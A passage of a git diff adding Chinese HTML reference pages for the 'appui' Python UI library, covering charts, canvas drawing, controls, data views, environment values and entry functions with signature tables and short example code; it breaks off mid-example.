实时高频绘制Canvas + 稳定命令列表避免每次 body() 重建大量命令。
+

#Chart

+

Chart(data=None, x='x', y='y', type='bar', color=None, series=None)

+
API签名分类
ChartChart(data: Optional[Sequence[Dict[str, Any]]] = None, x: str = 'x', y: str = 'y', type: str = 'bar', color: Optional[ColorLike] = None, series: Optional[str] = None)media
+
+
+ python +
+
+
import appui
+
+
+def body():
+    rows = [
+        {"day": "Mon", "value": 3},
+        {"day": "Tue", "value": 7},
+        {"day": "Wed", "value": 5},
+        {"day": "Thu", "value": 9},
+    ]
+
+    return appui.NavigationStack(
+        appui.Chart(
+            data=rows,
+            x="day",
+            y="value",
+            type="bar",
+            color="systemBlue",
+        )
+        .frame(height=240)
+        .padding()
+        .navigation_title("Chart")
+    )
+
+
+appui.run(body)
+
+

#多序列示例

+
+
+ python +
+
+
import appui
+
+
+def body():
+    data = [
+        {"month": "Jan", "value": 10, "category": "A"},
+        {"month": "Jan", "value": 20, "category": "B"},
+        {"month": "Feb", "value": 14, "category": "A"},
+        {"month": "Feb", "value": 18, "category": "B"},
+        {"month": "Mar", "value": 22, "category": "A"},
+        {"month": "Mar", "value": 16, "category": "B"},
+    ]
+
+    return appui.NavigationStack(
+        appui.Chart(
+            data=data,
+            x="month",
+            y="value",
+            series="category",
+            type="line",
+        )
+        .frame(height=240)
+        .padding()
+        .navigation_title("Series")
+    )
+
+
+appui.run(body)
+
+

#Canvas

+

Canvas(width=300, height=300, commands=None, context=None)

+
API签名分类
CanvasCanvas(width: float = 300, height: float = 300, commands: Optional[Sequence[Dict[str, Any]]] = None, context: Optional[DrawingContext] = None)drawing
+
+
+ python +
+
+
import appui
+
+
+def make_context():
+    ctx = appui.DrawingContext()
+    ctx.gradient_rect(0, 0, 240, 140, colors=["systemBlue", "systemTeal"])
+    ctx.rounded_rect(20, 20, 200, 100, corner_radius=16, color="systemBackground", fill=True)
+    ctx.fill_text("Canvas", 72, 76, color="label", font_size=22)
+    ctx.line(40, 98, 200, 98, color="separator", line_width=2)
+    return ctx
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Canvas(width=240, height=140, context=make_context())
+        .frame(width=240, height=140)
+        .padding()
+        .navigation_title("Canvas")
+    )
+
+
+appui.run(body)
+
+

#DrawingContext 方法

+

DrawingContext 的每个方法都会向 commands 追加一个公开命令字典,并返回自身,方便链式调用。

+
API签名所属类型
fill_rectfill_rect(x: float, y: float, width: float, height: float, color: ColorLike = 'black') -> SelfDrawingContext
stroke_rectstroke_rect(x: float, y: float, width: float, height: float, color: ColorLike = 'black', line_width: float = 1, **kwargs: Any) -> SelfDrawingContext
fill_circlefill_circle(cx: float, cy: float, radius: float, color: ColorLike = 'black') -> SelfDrawingContext
stroke_circlestroke_circle(cx: float, cy: float, radius: float, color: ColorLike = 'black', line_width: float = 1, **kwargs: Any) -> SelfDrawingContext
fill_ellipsefill_ellipse(x: float, y: float, width: float, height: float, color: ColorLike = 'black') -> SelfDrawingContext
stroke_ellipsestroke_ellipse(x: float, y: float, width: float, height: float, color: ColorLike = 'black', line_width: float = 1, **kwargs: Any) -> SelfDrawingContext
lineline(x1: float, y1: float, x2: float, y2: float, color: ColorLike = 'black', line_width: float = 1, **kwargs: Any) -> SelfDrawingContext
fill_textfill_text(text: str, x: float, y: float, color: ColorLike = 'black', font_size: float = 16, **kwargs: Any) -> SelfDrawingContext
fill_pathfill_path(points: Sequence[Tuple[float, float]], color: ColorLike = 'black', close: bool = True) -> SelfDrawingContext
stroke_pathstroke_path(points: Sequence[Tuple[float, float]], color: ColorLike = 'black', line_width: float = 1, close: bool = False, **kwargs: Any) -> SelfDrawingContext
arcarc(cx: float, cy: float, radius: float, start_angle: float = 0, end_angle: float = 360, color: ColorLike = 'black', line_width: float = 1, fill: bool = False, **kwargs: Any) -> SelfDrawingContext
rounded_rectrounded_rect(x: float, y: float, width: float, height: float, corner_radius: float = 8, color: ColorLike = 'black', line_width: float = 1, fill: bool = True, **kwargs: Any) -> SelfDrawingContext
gradient_rectgradient_rect(x: float, y: float, width: float, height: float, colors: Optional[Sequence[ColorLike]] = None, vertical: bool = True) -> SelfDrawingContext
+

#命令字段

+

如果直接传 commands,使用下面的公开字段:

+
op主要字段
fill_rect / stroke_rectxywhclw
fill_circle / stroke_circlecxcyrclw
fill_ellipse / stroke_ellipsexywhclw
linex1y1x2y2clw
fill_texttxycfs
fill_path / stroke_pathptsccloselw
arccxcyrsaeaclwfill
rounded_rectxywhcrclwfill
gradient_rectxywhcolorsvertical
+
+
+ python +
+
+
import appui
+
+ctx = appui.DrawingContext()
+ctx.fill_rect(0, 0, 10, 10, color="systemRed")
+ctx.stroke_rect(10, 0, 10, 10, color="systemBlue", line_width=2)
+ctx.fill_circle(50, 50, 20, color="systemGreen")
+ctx.line(0, 100, 100, 100, color="systemOrange", line_width=3)
+ctx.fill_text("Hi", 5, 105, color="label", font_size=14)
+assert len(ctx.commands) == 5
+
+

#Path

+

Path(commands=None, fill=None, stroke=None, line_width=None)

+
API签名分类
PathPath(commands: Optional[Sequence[Dict[str, Any]]] = None, fill: Optional[ColorLike] = None, stroke: Optional[ColorLike] = None, line_width: Optional[float] = None)drawing
+

Path 命令结构:

+
命令键结构行为
move[x, y]移动当前点。
line[x, y]添加直线。
curve{"to": [x, y], "control1": [x, y], "control2": [x, y]?}二次或三次贝塞尔曲线。
arc{"cx": x, "cy": y, "r": r, "start": deg, "end": deg, "clockwise": bool}弧线。
close任意真值闭合路径。
+
+
+ python +
+
+
import appui
+
+
+def body():
+    commands = [
+        {"move": [40, 10]},
+        {"line": [80, 70]},
+        {"line": [0, 70]},
+        {"close": True},
+    ]
+
+    return appui.NavigationStack(
+        appui.Path(
+            commands=commands,
+            fill="systemOrange",
+            stroke="label",
+            line_width=2,
+        )
+        .frame(width=100, height=90)
+        .padding()
+        .navigation_title("Path")
+    )
+
+
+appui.run(body)
+
+

#与相邻 API 的区别

+
API不同点
Chart vs CanvasChart 负责数据可视化和坐标轴;Canvas 只画你给的图形命令。
Canvas vs PathCanvas 可以混合矩形、圆、文字、渐变;Path 专注一个可填充/描边的矢量形状。
Path vs Rectangle / Circle常见形状用形状 API;不规则图形才用 Path
Canvas 命令 vs DrawingContext直接命令适合从数据生成;DrawingContext 适合手写绘图逻辑。
+

#常见错误

+
错误正确做法
每次 body() 都重新生成大量静态命令。静态命令放到模块级常量或函数缓存,状态变化只更新必要数据。
Chartx / y 字段名和数据字典不匹配。统一字段名,缺失值先清洗再传入。
Chart 展示非数值 y 值。y 对应字段应是数值。
Canvas(width,height) 和外层 .frame(...) 尺寸冲突。两者保持一致,或明确只让外层控制显示尺寸。
Canvas 手写原生控件。表单、按钮、列表、进度优先用 AppUI 原生控件。
+

#相关文档

+
文档用途
形状 APIRectangle、RoundedRectangle、Circle、Capsule、Ellipse、Color。
性能指南大数据图表和高频绘制的刷新边界。
UI 模式图表和媒体在 MiniApp 页面中的布局选择。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-controls/index.html b/docs/docs/pages/appui-ref-controls/index.html new file mode 100644 index 0000000..3d251e7 --- /dev/null +++ b/docs/docs/pages/appui-ref-controls/index.html @@ -0,0 +1,481 @@ + + + + + + 控件 API - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

控件 API

+

Button、TextField、Toggle、Picker、Slider 等控件签名。

+
+ +
+

本页是 Text、输入控件、选择控件、按钮和系统控件的参考。这里的示例都使用命名函数连接 action / on_change / on_submit,这样预览打开后可以确认按钮、输入和选择是否真的改变状态。

+

#什么时候用

+
目标首选 API说明
普通文字Text静态标签、标题、说明文字。
一段文字混排AttributedText同一段内需要不同颜色、字重、斜体或链接。
执行动作Button保存、删除、刷新、打开页面等命令。
顶层关闭CloseButtonMiniApp 自定义关闭入口,尤其是 fullscreen_with_close
单行输入TextField / SecureField普通文本或密码输入。
多行编辑TextEditor备注、正文、长文本。
搜索.searchable(...)SearchField列表页优先用 .searchable;独立搜索框用 SearchField
布尔开关Toggle开启/关闭某个选项。
数值调节Slider / Stepper连续值用 Slider,离散整数用 Stepper
单选Picker / SegmentedControl / WheelPicker设置项用 Picker,少量模式切换用 SegmentedControl
日期和颜色DatePicker / MultiDatePicker / ColorPicker使用系统原生选择器。
菜单和系统按钮Menu / PasteButton / RenameButton / EditButton复用系统语义和平台样式。
+

#最小正确示例

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    name="Ada",
+    enabled=True,
+    level=3,
+    theme="System",
+    note="",
+)
+
+
+def set_name(value):
+    state.name = value
+
+
+def set_enabled(value):
+    state.enabled = value
+
+
+def set_level(value):
+    state.level = value
+
+
+def set_theme(value):
+    state.theme = value
+
+
+def set_note(value):
+    state.note = value
+
+
+def reset_controls():
+    state.batch_update(
+        name="Ada",
+        enabled=True,
+        level=3,
+        theme="System",
+        note="",
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("输入", [
+                appui.TextField(
+                    "Name",
+                    text=state.name,
+                    on_change=set_name,
+                    submit_label="done",
+                ),
+                appui.TextEditor(text=state.note, on_change=set_note)
+                    .frame(height=80),
+                appui.Toggle("Enabled", is_on=state.enabled, on_change=set_enabled),
+            ]),
+            appui.Section("选择", [
+                appui.Slider(
+                    value=state.level,
+                    minimum=0,
+                    maximum=10,
+                    step=1,
+                    label=f"Level {state.level}",
+                    on_change=set_level,
+                ),
+                appui.Picker(
+                    "Theme",
+                    selection=state.theme,
+                    options=["System", "Light", "Dark"],
+                    on_change=set_theme,
+                ).picker_style("segmented"),
+            ]),
+            appui.Section("动作", [
+                appui.Button("Reset", action=reset_controls)
+                    .button_style("bordered"),
+            ]),
+        ]).navigation_title("Controls")
+    )
+
+
+appui.run(body, state=state)
+
+

#文本和按钮

+
API签名分类
TextText(content: str = '')text
AttributedTextAttributedText(spans: Optional[Sequence[Dict[str, Any]]] = None)text
ButtonButton(title: Optional[Union[str, View]] = None, action: Optional[Callable] = None, role: Optional[str] = None, content: Optional[ViewChild] = None, system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None)control
CloseButtonCloseButton(title: str = '', system_image: str = 'xmark', systemImage: Optional[str] = None)control
+
+
+ python +
+
+
import appui
+
+
+def close_page():
+    appui.dismiss()
+
+
+def body():
+    return appui.NavigationStack(
+        appui.VStack([
+            appui.Text("Plain Text").font("headline"),
+            appui.AttributedText(spans=[
+                {"text": "Rich ", "font_size": 18},
+                {"text": "Text", "font_size": 18, "weight": "bold", "color": "systemBlue"},
+                {"text": " link", "italic": True, "link": "https://www.python.org"},
+            ]),
+            appui.Button(
+                appui.Label("Close", system_image="xmark.circle"),
+                action=close_page,
+            ).button_style("bordered"),
+        ], alignment="leading", spacing=12)
+        .padding()
+        .navigation_title("Text")
+    )
+
+
+appui.run(body)
+
+

#输入控件

+
API签名分类
TextFieldTextField(placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, keyboard_type: Optional[str] = None, autocapitalization: Optional[str] = None, autocorrection_disabled: bool = False, submit_label: Optional[str] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None, keyboardType: Optional[str] = None, autoCapitalization: Optional[str] = None, autocorrectionDisabled: Optional[bool] = None, submitLabel: Optional[str] = None, value: Optional[str] = None, **kwargs: Any)control
SecureFieldSecureField(placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None)control
TextEditorTextEditor(text: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)control
TextFieldLinkTextFieldLink(title: str = '', prompt: str = '', on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None)control
SearchFieldSearchField(text: str = '', placeholder: str = 'Search', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None)control
+

keyboard_type 常用值:"default""emailAddress""numberPad""decimalPad""url""phonePad"submit_label 常用值:"done""go""send""search""next""continue""return"

+

#选择和调节控件

+
API签名分类
ToggleToggle(label: str = '', is_on: bool = False, on_change: Optional[Callable] = None, isOn: Optional[bool] = None, onChange: Optional[Callable] = None, value: Optional[bool] = None)control
SliderSlider(value: float = 0.0, minimum: float = 0.0, maximum: float = 1.0, step: Optional[float] = None, label: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, min_value: Optional[float] = None, max_value: Optional[float] = None, minValue: Optional[float] = None, maxValue: Optional[float] = None)control
StepperStepper(label: str = '', value: int = 0, minimum: int = 0, maximum: int = 100, step: int = 1, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)control
PickerPicker(label: str = '', selection: Optional[str] = None, options: Optional[Sequence[str]] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)control
SegmentedControlSegmentedControl(options: Optional[Sequence[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)control
InlinePickerStyleInlinePickerStyle(options: Optional[Sequence[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)control
WheelPickerWheelPicker(options: Optional[Sequence[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)control
DatePickerDatePicker(label: str = '', selection: Optional[str] = None, components: str = 'date', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)control
MultiDatePickerMultiDatePicker(title: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)control
ColorPickerColorPicker(label: str = '', selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)control
+

#系统控件

+
API签名分类
MenuMenu(title: str = '', content: Optional[Sequence[View]] = None, children: Optional[Sequence[View]] = None, system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None)control
PasteButtonPasteButton(on_paste: Optional[Callable] = None, onPaste: Optional[Callable] = None)control
RenameButtonRenameButton(action: Optional[Callable] = None)control
EditButtonEditButton()control
SignInWithAppleButtonSignInWithAppleButton(type: str = 'signIn', on_complete: Optional[Callable] = None, onComplete: Optional[Callable] = None)control
+

#按钮与菜单的图标

+

ButtonMenu 都支持直接传 system_image(SF Symbol 名)来显示图标,无需再包一层 content=appui.Label(...)

+
  • 同时给 titlesystem_image → 图标 + 文字;只给 system_image → 纯图标。
  • Menusystem_image 可以做工具栏右上角的「ellipsis.circle 溢出菜单」。
  • 仍可用 content= 传任意视图作为完全自定义的标签;content 优先级高于 system_image
+
+
+ python +
+
+
import appui
+
+
+def noop():
+    pass
+
+
+def body():
+    return appui.NavigationStack(
+        appui.VStack([
+            appui.Button("收藏", action=noop, system_image="bookmark"),
+            appui.Button(action=noop, system_image="arrow.clockwise"),
+        ], alignment="leading", spacing=12)
+        .padding()
+        .navigation_title("Icons")
+        .toolbar([
+            appui.ToolbarItem(
+                placement="navigation_bar_trailing",
+                content=appui.Menu(system_image="ellipsis.circle", content=[
+                    appui.Button("全部", action=noop, system_image="checkmark"),
+                    appui.Button("收藏", action=noop),
+                ]),
+            ),
+        ])
+    )
+
+
+appui.run(body)
+
+

#与相邻 API 的区别

+
API不同点
TextField vs TextEditorTextField 是单行输入,支持提交键;TextEditor 是多行编辑区域,通常需要明确 .frame(height=...)
SearchField vs .searchable(...)SearchField 是普通视图;.searchable(...) 会接入导航栏搜索体验,列表页更自然。
Picker vs SegmentedControlPicker 可切换不同样式;SegmentedControl 是固定分段控件,适合少量模式。
Slider vs StepperSlider 适合连续数值;Stepper 适合精确整数或固定步进。
Button vs MenuButton 立即执行单个动作;Menu 先展开命令列表。
Button vs CloseButtonCloseButton 带关闭语义,系统可以识别并避免重复注入关闭按钮。
+

#常见错误

+
错误正确做法
在示例里写内联匿名回调,预览里很难读也不利于复用。定义命名函数,例如 def save(): ...,再传 action=save
TextField 只传 text=state.name,没有 on_changeon_change(value) 中写回 state.name = value
Slider 没有设置 minimum / maximum,默认范围和业务不一致。显式写清范围和 step
TextEditor 不设高度。.frame(height=...) 给多行编辑区域稳定尺寸。
+

#相关文档

+
文档用途
状态 APIState.batch_updateReactiveStatebindcomputed
交互指南手势、焦点、键盘、上下文菜单。
示例:设置表单完整 Form、Section、输入控件和 toolbar 示例。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-data/index.html b/docs/docs/pages/appui-ref-data/index.html new file mode 100644 index 0000000..9dacacb --- /dev/null +++ b/docs/docs/pages/appui-ref-data/index.html @@ -0,0 +1,570 @@ + + + + + + 数据展示 API - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

数据展示 API

+

List、ForEach、Form、Section、Table、ProgressView 等数据展示视图。

+
+ +
+

本页覆盖列表、表单、分组、表格、空状态、进度、链接、角标、时间刷新和富文本。数据展示页面要优先使用系统结构:列表用 List + Section + ForEach,设置页用 Form + Section,不要用普通 VStack 手写整套表单外观。

+

#什么时候用

+
目标首选 API说明
行列表List + ForEach可滚动、可分组、可加滑动操作。
设置页Form + Section原生设置样式,适合输入控件和开关。
标题分组Section用 header / footer 表达分组标题和说明。
折叠内容DisclosureGroup可展开详情、更多设置。
标签值行LabeledContent版本号、状态、统计值。
多列表格TableiPad 或大屏数据表;iPhone 会按系统能力降级。
空状态ContentUnavailableView无数据、无搜索结果、加载失败。
进度ProgressView / Gauge加载状态、百分比、容量。
链接和分享Link / ShareLink打开系统浏览器或分享面板。
周期刷新文字TimelineView时钟、倒计时等低频时间展示。
富文本AttributedText同一段文本内混合颜色、字重、斜体和链接。
+

#最小正确示例

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    items=[
+        {"id": "a", "title": "Alpha", "done": False},
+        {"id": "b", "title": "Beta", "done": True},
+    ],
+    selected="",
+)
+
+
+def item_key(item):
+    return item["id"]
+
+
+def select_item(item):
+    state.selected = item["title"]
+
+
+def row_view(item):
+    def choose():
+        select_item(item)
+
+    icon = "checkmark.circle.fill" if item["done"] else "circle"
+    return appui.Button(
+        action=choose,
+        content=appui.Label(item["title"], system_image=icon),
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("Items", [
+                appui.ForEach(state.items, row_builder=row_view, key=item_key)
+            ]),
+            appui.Section("Selection", [
+                appui.LabeledContent("Selected", value=state.selected or "None"),
+            ]),
+        ]).navigation_title("Data")
+    )
+
+
+appui.run(body, state=state)
+
+

#列表和表单

+
API签名分类
ListList(content: Optional[Sequence[View]] = None)collection
ForEachForEach(data: Any, row_builder: Optional[Callable] = None, key: Optional[Callable] = None, rowBuilder: Optional[Callable] = None, content: Optional[Callable] = None)collection
FormForm(content: Optional[Sequence[View]] = None)collection
SectionSection(content: Optional[ViewChild] = None, *, header: Optional[Union[str, View]] = None, footer: Optional[Union[str, View]] = None, children: Optional[ViewChild] = None, key: Optional[str] = None)collection
+
+
+ python +
+
+
import appui
+
+state = appui.State(notify=True, email="ada@example.com")
+
+
+def set_notify(value):
+    state.notify = value
+
+
+def set_email(value):
+    state.email = value
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Account", [
+                appui.TextField(
+                    "Email",
+                    text=state.email,
+                    on_change=set_email,
+                    keyboard_type="emailAddress",
+                ),
+                appui.Toggle("Notifications", is_on=state.notify, on_change=set_notify),
+            ], footer="Used for account notifications."),
+        ]).navigation_title("Form")
+    )
+
+
+appui.run(body, state=state)
+
+

#分组和详情

+
API签名分类
GroupBoxGroupBox(label: Optional[str] = None, content: Optional[ViewChild] = None, children: Optional[Sequence[View]] = None)collection
DisclosureGroupDisclosureGroup(label: str = '', is_expanded: Optional[bool] = None, content: Optional[ViewChild] = None, isExpanded: Optional[bool] = None, children: Optional[ViewChild] = None)collection
LabeledContentLabeledContent(label: str = '', value: Optional[str] = None, content: Optional[View] = None)collection
ControlGroupControlGroup(label: str = '', content: Optional[Sequence[View]] = None, children: Optional[Sequence[View]] = None)control
+
+
+ python +
+
+
import appui
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Summary", [
+                appui.LabeledContent("Version", value="1.0"),
+                appui.LabeledContent("Status", content=appui.Badge(text="New")),
+            ]),
+            appui.Section("Details", [
+                appui.DisclosureGroup(
+                    "Advanced",
+                    is_expanded=False,
+                    content=[
+                        appui.GroupBox(
+                            "Cache",
+                            content=[appui.Text("Local cache is enabled.")],
+                        )
+                    ],
+                )
+            ]),
+        ]).navigation_title("Groups")
+    )
+
+
+appui.run(body)
+
+

#表格

+

Table(data=None, columns=None, on_select=None, onSelect=None)

+
参数类型说明
datalist[dict]表格行。
columnslist[dict]每列字典至少包含 titlekey
on_selectCallable / None选中行回调,接收行字典。
+
+
+ python +
+
+
import appui
+
+state = appui.State(selected="")
+rows = [
+    {"id": 1, "name": "Ada", "role": "Admin"},
+    {"id": 2, "name": "Lin", "role": "Editor"},
+]
+
+
+def select_row(row):
+    state.selected = row["name"]
+
+
+def body():
+    return appui.NavigationStack(
+        appui.VStack([
+            appui.Table(
+                data=rows,
+                columns=[
+                    {"title": "ID", "key": "id"},
+                    {"title": "Name", "key": "name"},
+                    {"title": "Role", "key": "role"},
+                ],
+                on_select=select_row,
+            ),
+            appui.Text(state.selected or "No selection")
+                .font("footnote")
+                .foreground_color("secondaryLabel"),
+        ], spacing=12)
+        .padding()
+        .navigation_title("Table")
+    )
+
+
+appui.run(body, state=state)
+
+

#空状态、进度、链接和分享

+
API签名分类
ContentUnavailableViewContentUnavailableView(title: str = '', system_image: Optional[str] = None, description: Optional[str] = None, systemImage: Optional[str] = None)presentation
ProgressViewProgressView(label: Optional[str] = None, value: Optional[float] = None, total: float = 1.0)feedback
LinkLink(title: str = '', url: str = '')control
GaugeGauge(value: float = 0.0, min_value: float = 0.0, max_value: float = 1.0, label: str = '', minValue: Optional[float] = None, maxValue: Optional[float] = None)feedback
ShareLinkShareLink(item: str = '', subject: Optional[str] = None, message: Optional[str] = None)control
BadgeBadge(count: Optional[int] = None, text: Optional[str] = None)presentation
+
+
+ python +
+
+
import appui
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("Status", [
+                appui.ProgressView(label="Loading"),
+                appui.ProgressView(label="Progress", value=0.4, total=1.0)
+                    .progress_view_style("linear"),
+                appui.Gauge(value=0.72, min_value=0.0, max_value=1.0, label="Storage")
+                    .gauge_style("accessory_circular"),
+            ]),
+            appui.Section("Links", [
+                appui.Link(title="Apple", url="https://www.apple.com"),
+                appui.ShareLink(item="Shared from AppUI", subject="AppUI", message="Hello"),
+            ]),
+            appui.Section("Empty", [
+                appui.ContentUnavailableView(
+                    title="No Results",
+                    system_image="magnifyingglass",
+                    description="Try another keyword.",
+                ),
+            ]),
+        ]).navigation_title("Status")
+    )
+
+
+appui.run(body)
+
+

#TimelineView

+

TimelineView(interval=1.0, content=None) 会按间隔刷新它的子视图,适合时钟、轻量倒计时等低频时间展示。content 是一个 View,不是视图列表。

+
+
+ python +
+
+
import appui
+import time
+
+
+def clock_text():
+    return appui.Text(time.strftime("%H:%M:%S")).font("title")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.TimelineView(interval=1.0, content=clock_text())
+        .padding()
+        .navigation_title("Clock")
+    )
+
+
+appui.run(body)
+
+

#AttributedText

+

AttributedText(spans=None) 用 span 字典描述富文本。

+
类型说明
textstr显示文字。
font_sizefloat字号。
weightstr字重,例如 "bold""semibold""regular"
boldbool是否加粗。
italicbool是否斜体。
colorstr颜色,例如 "systemBlue""#FF0000"
linkstr链接 URL。
underlinebool下划线。
strikethroughbool删除线。
+
+
+ python +
+
+
import appui
+
+
+def body():
+    return appui.NavigationStack(
+        appui.AttributedText(spans=[
+            {"text": "AppUI ", "font_size": 20, "weight": "bold"},
+            {"text": "rich text", "font_size": 20, "color": "systemBlue"},
+            {"text": " with link", "link": "https://www.python.org", "underline": True},
+        ])
+        .padding()
+        .navigation_title("Rich Text")
+    )
+
+
+appui.run(body)
+
+

#与相邻 API 的区别

+
API不同点
List vs FormList 展示数据行;Form 展示设置和输入。
Section vs GroupBoxSection 是列表/表单分组;GroupBox 是内容盒。
ProgressView vs GaugeProgressView 强调加载或进度;Gauge 强调数值状态和容量。
Badge vs .badge(...)Badge 是一个独立视图;.badge(...) 给支持角标的位置添加角标。
Link vs WebViewLink 打开外部浏览器;WebView 在 AppUI 内显示网页。
TimelineView vs TimerTimelineView 刷新视图显示;Timer 运行状态更新逻辑。
+

#常见错误

+
错误正确做法
ForEach 没有稳定键,列表刷新后行状态错位。key 函数,或保证数据里有稳定 id / key
Section 里再嵌套完整 List外层用一个 List,里面放多个 Section
把设置页写成 VStack + Text + ToggleForm([Section(...)])
TimelineViewcontent 传列表。传一个 View,多视图时包进 VStack
ProgressView(label=appui.Text(...))label 传字符串;自定义说明放在相邻 Text
+

#相关文档

+
文档用途
布局 APIVStack、ScrollView、LazyVGrid、Form、List 的布局边界。
呈现 APIrefreshable、swipe actions、context menu。
状态 API让列表和表单响应数据变化。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-environment/index.html b/docs/docs/pages/appui-ref-environment/index.html new file mode 100644 index 0000000..00ccb37 --- /dev/null +++ b/docs/docs/pages/appui-ref-environment/index.html @@ -0,0 +1,350 @@ + + + + + + 环境值 API - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

环境值 API

+

environment_value、color_scheme、locale、layout_direction 和动态字体。

+
+ +
+

environment_value(key, value) 用来设置少量通用环境值。它是一个通用入口;如果已经有更直接的专用修饰符,优先用专用修饰符。

+

#签名

+
+
+ python +
+
+
environment_value(key, value)
+
+

#什么时候用

+
  • 你想批量给一段视图树施加语言、方向、动态字体或文本环境。
  • 你要覆盖 localelayout_directiondynamic_type_size 这类没有独立高频包装的环境项。
  • 你已经知道目标 key,不想拆成多个专用修饰符。
+

#当前支持的 key

+
key作用更直接的写法
color_schemelight / dark强制明暗模式。preferred_color_scheme(...)
layout_directionleft_to_right / right_to_left控制布局方向。
locale语言地区标识,如 zh_CNen_US影响日期、数字、本地化格式。
line_spacing数字,如 46设置行距。
multiline_text_alignmentleading / center / trailing多行文本对齐。multiline_text_alignment(...)
allow_tight_spacingTrue / False是否允许文字收紧间距。
truncation_modetail / head / middle文本截断位置。truncation_mode(...)
dynamic_type_sizexSmallsmallmediumlargexLargexxLargexxxLargeaccessibility1accessibility5动态字体等级。
redactionplaceholder / none占位式骨架屏或取消 redaction。
autocorrectionTrue / False控制自动纠错;对输入控件更有意义。TextField / SecureField 优先用构造参数
text_caseuppercase / lowercase / none统一大小写风格。
+

#推荐写法

+
+
+ python +
+
+
import appui
+
+
+def body():
+    return appui.NavigationStack(
+        appui.VStack([
+            appui.Text("环境值示例"),
+            appui.Text("这段文字会使用更大的动态字体和更宽的行距。")
+                .line_limit(2),
+        ], spacing=12)
+        .padding()
+        .navigation_title("Environment")
+        .environment_value("locale", "zh_CN")
+        .environment_value("dynamic_type_size", "xLarge")
+        .environment_value("line_spacing", 6)
+    )
+
+
+appui.run(body)
+
+

#专用修饰符优先

+

这些场景优先用专用 API,不要为了“统一写法”强行全部塞进 environment_value

+
  • 明暗模式:preferred_color_scheme("dark")
  • 多行文本对齐:multiline_text_alignment("leading")
  • 截断:truncation_mode("middle")
  • 输入框自动纠错:TextField(..., autocorrection_disabled=...)
+

#注意事项

+
  • environment_value 更适合“给一整段视图树施加环境”,不是每个修饰符都拿它代替。
  • dynamic_type_size 依赖较新的系统版本;过低系统可能不会生效。
  • autocorrection 的实际体验最稳的方式仍然是直接在输入控件构造参数里声明。
  • 不在当前支持表里的 key 不保证生效。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-functions/index.html b/docs/docs/pages/appui-ref-functions/index.html new file mode 100644 index 0000000..a5fbaf5 --- /dev/null +++ b/docs/docs/pages/appui-ref-functions/index.html @@ -0,0 +1,381 @@ + + + + + + 入口函数 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

入口函数

+

run、dismiss、animate、bind、grid item 等模块级函数。

+
+ +
+

本页只查 appui 的模块级入口函数和网格辅助函数。页面结构、控件、导航和媒体视图分别看对应 API 参考。

+

#什么时候用

+
目标API
启动 AppUI 页面run
关闭当前 AppUI 呈现dismiss
包一组状态变化动画animate
简单周期刷新auto_refresh
降低首次启动延迟preload
为值控件创建双向绑定bind
声明派生数据computed
状态变化后触发副作用effect
定义网格列/行flexiblefixedadaptivegrid_item
使用自定义字体custom_font
+

#最小正确示例

+

run 只在脚本末尾调用一次。bind 适合 Slider 这类 value + on_change 控件。网格列用 flexibleadaptivefixed

+
+
+ python +
+
+
import appui
+
+state = appui.State(volume=0.4, selected="Volume")
+
+
+def select_card(name):
+    state.selected = name
+
+
+def card(name, value):
+    def select_current():
+        select_card(name)
+
+    return (
+        appui.Button(
+            action=select_current,
+            content=appui.VStack([
+                appui.Text(name).font("caption").foreground_color("secondaryLabel"),
+                appui.Text(value).font("title3").bold(),
+            ], alignment="leading", spacing=4),
+        )
+        .button_style("plain")
+        .frame(max_width=appui.infinity, min_height=84, alignment="leading")
+        .padding(12)
+        .background("secondarySystemBackground", corner_radius=8)
+    )
+
+
+@appui.computed(state, depends_on=["volume"])
+def volume_text():
+    return f"{state.volume:.0%}"
+
+
+def body():
+    grid = appui.LazyVGrid(
+        columns=[appui.flexible(minimum=120), appui.flexible(minimum=120)],
+        spacing=12,
+        content=[
